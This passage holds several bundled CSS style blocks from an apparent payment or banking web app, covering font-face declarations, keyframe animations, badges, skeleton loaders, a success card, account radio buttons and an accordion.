opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.badge-container {
display: flex;
align-items: center;
justify-content: center; }
.badge-container.round {
border-radius: 13px;
width: 18px;
height: 15px; }
.badge-container.rectangle {
max-inline-size: fit-content;
border-radius: 13px;
width: auto;
height: 15px;
padding: 0px 8px; }
.badge-container .badge-text {
color: #ffffff;
font-size: 7px;
font-family: NunitoSans-Bold; }
.badge-container.background--purple {
background: linear-gradient(90deg, #ce2aaa 0%, #1d68d8 100%); }
.badge-container.background--mandarin {
background: linear-gradient(90deg, #fd5b00 0%, #fd8300 100%); }
.badge-container.background--sky {
background: linear-gradient(90deg, #1d68d8 0%, #1ee4ff 100%); }
.badge-container.background--emerald {
background: linear-gradient(90deg, #fdf737 0%, #1ab0a7 100%); }
.badge-container.background--ocean {
background: linear-gradient(90deg, #005da0 0%, #2d9cdb 100%); }
@media (max-width: 727px) {
.badge-container .badge-text {
font-size: 9px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.skeleton-card {
display: flex; }
.skeleton-card.skeleton-card--line .content {
height: 14px;
border-radius: 10px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite; }
.skeleton-card.skeleton-card--line .content.content--small {
width: 40%;
height: 10px; }
.skeleton-card.skeleton-card--line .content.content--medium {
width: 80%; }
.skeleton-card.skeleton-card--line .content.content--large {
width: 100%; }
.skeleton-card.skeleton-card--block .content {
border-radius: 5px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite; }
.skeleton-card.skeleton-card--block .content.content--small {
width: 60%;
height: 25px; }
.skeleton-card.skeleton-card--block .content.content--medium-half {
width: 50%;
height: 45px; }
.skeleton-card.skeleton-card--block .content.content--medium-half-full {
width: 75%;
height: 45px; }
.skeleton-card.skeleton-card--block .content.content--medium {
width: 100%;
height: 45px; }
.skeleton-card.skeleton-card--block .content.content--large {
width: 100%;
height: 55px; }
.skeleton-card .content--default {
background: linear-gradient(90deg, #9dadba, #ffffff, #9dadba);
background-size: 350% 200%; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
@media (max-width: 1023px) {
.card-service-available .skeleton-section-container {
width: 100%;
display: flex; } }
.card-service-available .skeleton-section-container .upper-section-skeleton {
padding: 25px 24px 0px 20px;
opacity: .2; }
@media (max-width: 1023px) {
.card-service-available .skeleton-section-container .upper-section-skeleton {
padding: 0px;
width: 88px;
margin: 16px 0px 25px 16px; } }
.card-service-available .skeleton-section-container .upper-section-skeleton .skeleton-line-container .skeleton-card.skeleton-card--line .content.content--medium {
height: 16px;
width: 180px;
border-radius: 4px; }
@media (max-width: 1023px) {
.card-service-available .skeleton-section-container .upper-section-skeleton .skeleton-line-container .skeleton-card.skeleton-card--line .content.content--medium {
width: 50px; } }
.card-service-available .skeleton-section-container .upper-section-skeleton .skeleton-line-container-2 {
margin-top: 6px; }
@media (max-width: 1023px) {
.card-service-available .skeleton-section-container .upper-section-skeleton .skeleton-line-container-2 {
margin-top: 3px; } }
.card-service-available .skeleton-section-container .upper-section-skeleton .skeleton-line-container-2 .skeleton-card.skeleton-card--line .content.content--medium {
height: 16px;
width: 180px;
border-radius: 4px; }
@media (max-width: 1023px) {
.card-service-available .skeleton-section-container .upper-section-skeleton .skeleton-line-container-2 .skeleton-card.skeleton-card--line .content.content--medium {
width: 71px; } }
.card-service-available .skeleton-section-container .upper-section-skeleton .skeleton-line-container-3 {
margin-top: 47px; }
@media (max-width: 1023px) {
.card-service-available .skeleton-section-container .upper-section-skeleton .skeleton-line-container-3 {
margin-top: 14px; } }
.card-service-available .skeleton-section-container .upper-section-skeleton .skeleton-line-container-3 .skeleton-card.skeleton-card--line .content.content--medium {
border-radius: 4px;
height: 16px;
width: 180px; }
@media (max-width: 1023px) {
.card-service-available .skeleton-section-container .upper-section-skeleton .skeleton-line-container-3 .skeleton-card.skeleton-card--line .content.content--medium {
width: 72px;
height: 50px; } }
.card-service-available .skeleton-section-container .middle-section-skeleton {
display: flex;
flex-direction: column;
padding: 0px 20px 20px;
opacity: .2; }
@media (max-width: 1023px) {
.card-service-available .skeleton-section-container .middle-section-skeleton {
width: 100%;
margin: 22px 23px 20px 37px;
padding: 0px; } }
.card-service-available .skeleton-section-container .middle-section-skeleton .skeleton-line-container {
margin-top: 6px; }
@media (max-width: 1023px) {
.card-service-available .skeleton-section-container .middle-section-skeleton .skeleton-line-container {
margin-top: 0px; } }
.card-service-available .skeleton-section-container .middle-section-skeleton .skeleton-line-container .skeleton-card.skeleton-card--line .content.content--medium {
width: 98px;
height: 16px;
border-radius: 4px; }
@media (max-width: 1023px) {
.card-service-available .skeleton-section-container .middle-section-skeleton .skeleton-line-container .skeleton-card.skeleton-card--line .content.content--medium {
width: 164px; } }
.card-service-available .skeleton-section-container .middle-section-skeleton .skeleton-line-container-2 {
margin-top: 24px; }
@media (max-width: 1023px) {
.card-service-available .skeleton-section-container .middle-section-skeleton .skeleton-line-container-2 {
margin-top: 8px; } }
.card-service-available .skeleton-section-container .middle-section-skeleton .skeleton-line-container-2 .skeleton-card.skeleton-card--line .content.content--medium {
width: 166px;
height: 12px;
border-radius: 4px; }
@media (max-width: 1023px) {
.card-service-available .skeleton-section-container .middle-section-skeleton .skeleton-line-container-2 .skeleton-card.skeleton-card--line .content.content--medium {
width: 120px;
height: 16px; } }
.card-service-available .skeleton-section-container .middle-section-skeleton .skeleton-line-container-3 {
margin-top: 9px; }
@media (max-width: 1023px) {
.card-service-available .skeleton-section-container .middle-section-skeleton .skeleton-line-container-3 {
margin-top: 26px; } }
.card-service-available .skeleton-section-container .middle-section-skeleton .skeleton-line-container-3 .skeleton-card.skeleton-card--line .content.content--medium {
width: 98px;
height: 23px;
border-radius: 4px; }
@media (max-width: 1023px) {
.card-service-available .skeleton-section-container .middle-section-skeleton .skeleton-line-container-3 .skeleton-card.skeleton-card--line .content.content--medium {
width: 133px;
height: 12px; } }
.card-service-available .skeleton-section-container .middle-section-skeleton .skeleton-line-container-4 {
margin-top: 37px; }
@media (max-width: 1023px) {
.card-service-available .skeleton-section-container .middle-section-skeleton .skeleton-line-container-4 {
margin-top: 8px; } }
.card-service-available .skeleton-section-container .middle-section-skeleton .skeleton-line-container-4 .skeleton-card.skeleton-card--line .content.content--medium {
width: 100%;
height: 40px;
border-radius: 4px; }
@media (max-width: 1023px) {
.card-service-available .skeleton-section-container .middle-section-skeleton .skeleton-line-container-4 .skeleton-card.skeleton-card--line .content.content--medium {
width: 133px;
height: 12px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.card--success--increase__container {
width: 100%;
display: flex;
flex-direction: column;
background-color: #ffffff;
box-shadow: 0px 0px 1px rgba(40, 41, 61, 0.04), 0px 2px 4px rgba(96, 97, 112, 0.16);
border-radius: 8px;
padding: 26px 24px 24px;
box-sizing: border-box; }
.card--success--increase__container .container__header {
display: flex;
flex-direction: column;
align-items: center;
border-bottom: 0.5px solid #DDE7F0;
padding-bottom: 20px;
margin-bottom: 20px; }
.card--success--increase__container .container__header .header__image {
width: 68px;
margin-bottom: 6px; }
.card--success--increase__container .container__header .header__title {
font-family: NunitoSans-Bold;
font-size: 18px;
line-height: 24px;
color: #416179; }
.card--success--increase__container .container__information {
display: flex;
flex-direction: column; }
.card--success--increase__container .container__information .information__detail {
width: 100%;
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 8px; }
.card--success--increase__container .container__information .information__detail:last-child {
margin-bottom: 0; }
.card--success--increase__container .container__information .information__detail .detail__span {
font-family: NunitoSans-SemiBold;
font-size: 13px;
line-height: 18px;
color: #788fa0; }
.card--success--increase__container .container__information .information__detail .detail__amount {
font-family: NunitoSans-ExtraBold;
font-size: 16px;
line-height: 22px;
color: #122e43; }
.card--success--increase__container .container__information .information__detail .detail__card,
.card--success--increase__container .container__information .information__detail .detail__date {
font-family: NunitoSans-Regular;
font-size: 13px;
line-height: 18px;
color: #122e43; }
.card--success--increase__container .container__information .information__detail .detail__card b,
.card--success--increase__container .container__information .information__detail .detail__date b {
margin-right: 4px; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.account-radio__container {
width: 100%; }
.account-radio__container .container__input {
cursor: pointer;
background-color: #ffffff;
padding: 16px;
border-radius: 6px;
border: 1px solid #d4e3f2;
box-sizing: border-box;
margin-bottom: 8px;
display: flex;
justify-content: space-between; }
.account-radio__container .container__input .input__radio--container {
display: flex;
align-items: center; }
.account-radio__container .container__input .input__radio--container .container__form {
margin-right: 16px;
position: relative;
display: flex; }
.account-radio__container .container__input .input__radio--container .container__form input[type='radio'] {
width: 20px;
height: 20px;
visibility: hidden;
margin: 0; }
.account-radio__container .container__input .input__radio--container .container__label .label__account {
font-family: Nunito-Bold;
font-size: 18px;
line-height: 18px;
color: #405768;
padding-left: 16px;
border-left: 1px solid #d4e3f2;
display: inline-block;
cursor: pointer; }
.account-radio__container .container__input .input__radio--information .label__account--mobile {
display: none; }
.account-radio__container .container__input .input__radio--information .information__account {
font-family: NunitoSans-Regular;
font-size: 16px;
line-height: 16px;
color: #6e7f8d; }
@media (max-width: 727px) {
.account-radio__container .container__input {
justify-content: flex-start; }
.account-radio__container .container__input .input__radio--container .container__label {
display: none; }
.account-radio__container .container__input .input__radio--information {
display: flex;
flex-direction: column;
border-left: 1px solid #d4e3f2;
padding-left: 16px; }
.account-radio__container .container__input .input__radio--information .label__account--mobile {
display: flex;
font-family: Nunito-Bold;
font-size: 18px;
line-height: 23px;
color: #405768;
margin-bottom: 4px;
cursor: pointer; }
.account-radio__container .container__input .input__radio--information .information__account {
font-size: 16px;
line-height: 16px; } }
@media (max-width: 320px) {
.account-radio__container .container__input .input__radio--information .information__account {
font-size: 14px;
line-height: 14px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.accordion {
border: 1px solid #cbd4dc;
border-radius: 10px;
max-width: 588px; }
.accordion .panel {
border-bottom: 1px solid #cbd4dc; }
.accordion .panel .container__title {
padding: 32px 78px;
font-size: 20px;
line-height: 24px;
color: #122e43;
display: flex;
justify-content: space-between; }
.accordion .panel .container__title .title-label {
margin-bottom: 0px;
margin-top: 0px;
display: flex;
font-family: "Nunito-Bold"; }
.accordion .panel .container__title .title-icon {
display: flex;
margin-bottom: 0px;
margin-top: 0px;
cursor: pointer;
-webkit-transition-property: transform, all;
-moz-transition-property: transform, all;
-ms-transition-property: transform, all;
-o-transition-property: transform, all;
transition-property: transform, all;
-webkit-transition-duration: 0.4s;
-moz-transition-duration: 0.4s;
-ms-transition-duration: 0.4s;
-o-transition-duration: 0.4s;
transition-duration: 0.4s;
-webkit-transition-timing-function: ease;
-moz-transition-timing-function: ease;
-ms-transition-timing-function: ease;
-o-transition-timing-function: ease;
transition-timing-function: ease; }
.accordion .panel .container__title .title-icon.title-icon__active {
-webkit-transform: rotateZ(180deg);
-moz-transform: rotateZ(180deg);
-ms-transform: rotateZ(180deg);
-o-transform: rotateZ(180deg);
transform: rotateZ(180deg); }
.accordion .panel .container__content {
background-color: #f4f6f8;
max-height: 0;
overflow: hidden;
-webkit-transition-duration: 0.25s;
-moz-transition-duration: 0.25s;
-ms-transition-duration: 0.25s;
-o-transition-duration: 0.25s;
transition-duration: 0.25s;
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
-webkit-animation: fadeOut ease 1s;
-moz-animation: fadeOut ease 1s;
-o-animation: fadeOut ease 1s;
animation: fadeOut ease 1s; }
.accordion .panel .container__content .content-p {
margin-bottom: 0px;
margin-top: 0px;
padding: 32px 78px;
color: #416179;
font-family: Nunito-Regular; }
.accordion .panel .container__content.active {
max-height: 1000px;
-webkit-transition-property: transform, max-height;
-moz-transition-property: transform, max-height;
-ms-transition-property: transform, max-height;
-o-transition-property: transform, max-height;
transition-property: transform, max-height;
-webkit-transition-duration: 0.25s;
-moz-transition-duration: 0.25s;
-ms-transition-duration: 0.25s;
-o-transition-duration: 0.25s;
transition-duration: 0.25s;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in;
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.accordion .panel:last-child {
border-bottom: none; }
.accordion .panel:last-child .container__content--active {
border-bottom-left-radius: 10px;
